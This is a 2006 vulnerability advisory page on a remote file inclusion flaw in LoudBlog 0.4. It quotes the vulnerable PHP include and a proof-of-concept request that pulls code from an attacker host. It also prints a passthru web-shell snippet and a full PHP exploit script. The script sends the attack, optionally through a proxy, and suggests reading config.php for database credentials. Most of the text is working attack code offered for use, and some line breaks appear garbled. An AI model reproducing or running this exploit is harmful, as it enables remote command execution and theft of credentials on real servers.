LoudBlog <= 0.4 arbitrary remote inclusion

2006.02.05
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: CWE-94


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

------------- LoudBlog <= 0.4 arbitrary remote inclusion ----------- software: site: http://loudblog.de/ description: "Loudblog is a sleek and easy-to-use Content Management System (CMS) for publishing media content on the web. It automatically generates a skinnable website and an RSS-Feed for Podcasting. Just upload your audio/video files, add some notes and links, and you?re done!" -------------------------------------------------------------------- i) vulnerable code in loudblog/inc/backend_settings.php at lines 3-6: ... //change the language if required by POST if (isset($_POST['language'])) { include_once($GLOBALS['path']."/loudblog/lang/".$_POST['language'].".php "); } ... poc: POST [path_to_loudblog]/loudblog/inc/backend_settings.php?cmd=cat%20/etc/pass wd&GLOBALS[path]=http://[somehost] HTTP/1.1rn"; Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a Host: [target] Content-Length: [data_length] Connection: Close -----------------------------7d529a1d23092a Content-Disposition: form-data; name="languagern"; Content-Type: suntzu -----------------------------7d529a1d23092a-- where on http:/[somehost]/loudblog/inc/suntzu.php/index.html, you have code like this: <?php echo"Hi Master!";ini_set("max_execution_time",0);passthru($cmd); ?> -------------------------------------------------------------------- exploit: <?php # ---loudblog_04_incl_xpl.php 8.15 20/01/2006 # # # # LoudBlog 0.4 remote commands execution # # coded by rgod # # site: http://rgod.altervista.org # # # # usage: launch from Apache, fill in requested fields, then go! # # # # Sun-Tzu: "The general that hearkens to my counsel and acts upon it, will # # conquer: let such a one be retained in command! The general that hearkens # # not to my counsel nor acts upon it, will suffer defeat:--let such a one be # # dismissed!" # error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout", 5); ob_implicit_flush (1); echo'<html><head><title> ******LoudBlog 4.0 remote commands execution*********** </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img {background-color: #FFFFFF !important} input {background-color: #303030 !important} option { background-color: #303030 !important} textarea {background-color: #303030 !important} input {color: #1CB081 !important} option {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox {background-color: #303030 !important} select {font-weight: normal; color: #1CB081; background-color: #303030;} body {font-size: 8pt !important; background-color: #111111; body * {font-size: 8pt !important} h1 {font-size: 0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style: normal !important} *{text-decoration: none !important} a:link,a:active,a:visited { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline; color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6"> ******LoudBlog 4.0 remote commands execution*********** </p><p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"target="_blank"> http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form name="form1" method="post" action="'.$SERVER[PHP_SELF].'"> <p><input type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com) </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex: /loudblog/ or just / ) </span></p><p><input type="text" name="cmd"> <span class="Stile5"> * specify a command ("cat ./../config.php" to see database username & password) </span></p> <p> <input type="text" name="LOCATION"><span class="Stile5"> * a remote location ( ex: http://www.somes ite.com) </span></p><p><input type="text" name="port"><span class="Stile5">speci fy a port other than 80 (default value)</span> </p> <p><input type="text" name="proxy"><span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p><p><input type="submit" name="Submit" value="go!"></p></form> </td> </tr></table></body></html>'; function show($headeri) { $ii=0;$ji=0;$ki=0;$ci=0; echo '<table border="0"><tr>'; while ($ii <= strlen($headeri)-1){ $datai=dechex(ord($headeri[$ii])); if ($ji==16) { $ji=0; $ci++; echo "<td> </td>"; for ($li=0; $li<=15; $li++) { echo "<td>".$headeri[$li+$ki]."</td>"; } $ki=$ki+16; echo "</tr><tr>"; } if (strlen($datai)==1) { echo "<td>0".$datai."</td>"; } else { echo "<td>".$datai."</td> "; } $ii++;$ji++; } for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) { echo "<td> </td>"; } for ($li=$ci*16; $li<=strlen($headeri); $li++) { echo "<td>".$headeri[$li]."</td>"; } echo "</tr></table>"; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacket() //2x speed { global $proxy, $host, $port, $packet, $html, $proxy_regex; $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if ($socket < 0) { echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>"; } else { $c = preg_match($proxy_regex,$proxy); if (!$c) {echo 'Not a valid prozy...'; die; } echo "OK.<br>"; echo "Attempting to connect to ".$host." on port ".$port."...<br>"; if ($proxy=='') { $result = socket_connect($socket, $host, $port); } else { $parts =explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $result = socket_connect($socket, $parts[0],$parts[1]); } if ($result < 0) { echo "socket_connect() failed.rnReason: (".$result.") " . socket_strerror($result) . "<br><br>"; } else { echo "OK.<br><br>"; $html= ''; socket_write($socket, $packet, strlen($packet)); echo "Reading response:<br>"; while ($out= socket_read($socket, 2048)) {$html.=$out;} echo nl2br(htmlentities($html)); echo "Closing socket..."; socket_close($socket); } } } function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.htmlentities($host); die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid prozy...';die; } $parts=explode(':',$proxy); echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>'; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock);echo nl2br(htmlentities($html)); } $host=$_POST[host];$path=$_POST[path]; $port=$_POST[port];$CMD=$_POST[cmd]; $LOCATION=$_POST[LOCATION];$proxy=$_POST[proxy]; if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>'')) { $port=intval(trim($port)); if ($port=='') {$port=80;} if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $host=str_replace("rn","",$host); $path=str_replace("rn","",$path); $CMD=urlencode($CMD); $LOCATION=urlencode($LOCATION); #STEP X -> one and unique, arbitrary remote inclusion... $data="-----------------------------7d529a1d23092arn"; $data.="Content-Disposition: form-data; name="language"rn"; $data.="Content-Type:rnrn"; $data.="suntzurn"; $data.="-----------------------------7d529a1d23092a--rn"; $packet="POST ".$p."loudblog/inc/backend_settings.php?cmd=".$CMD."&GLOBALS[path]=".$LO CATION." HTTP/1.1rn"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092arn"; $packet.="Host: ".$host."rn"; $packet.="User-Agent: Googlebot 2.1rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; show($packet); sendpacketii($packet); if (eregi("HiMaster!",$html)) {echo "Exploit succeeded...";} else {echo "Exploit failed...";} } else {echo "Note: on remote location you need this code in <br> http:/[remote_location]/loudblog/inc/suntzu.php/index.html :<br>"; echo nl2br(htmlentities(" <?php echo"HiMaster!";ini_set("max_execution_time",0);passthru($cmd); ?> ")); echo "Fill * required fields, optionally specify a proxy...";} ?> -------------------------------------------------------------------- rgod site: http://retrogod.altervista.org mail: rgod at autistici org original adivsory: http://retrogod.altervista.org/loudblog_04_incl_xpl.html --------------------------------------------------------------------


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